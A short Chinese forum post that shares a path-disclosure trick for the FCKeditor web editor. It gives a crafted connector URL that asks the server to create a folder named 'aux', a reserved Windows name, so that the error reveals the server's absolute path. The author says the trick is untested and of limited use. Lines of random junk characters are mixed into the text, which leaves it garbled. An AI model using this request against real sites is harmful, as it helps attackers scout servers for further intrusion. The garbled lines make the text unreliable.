最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux
( p" S7 B6 C9 E4 B; K, ^1 X
2 v8 h2 a. A, b3 P% K9 j) o
* q3 n- \  y0 u8 p5 w% Z版本未测试。。。

! L! @9 P8 J, r  `原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
2 q: p" i4 C) Q2 Q

; f/ ]; e0 f* y5 R* [听说IIS都可以。。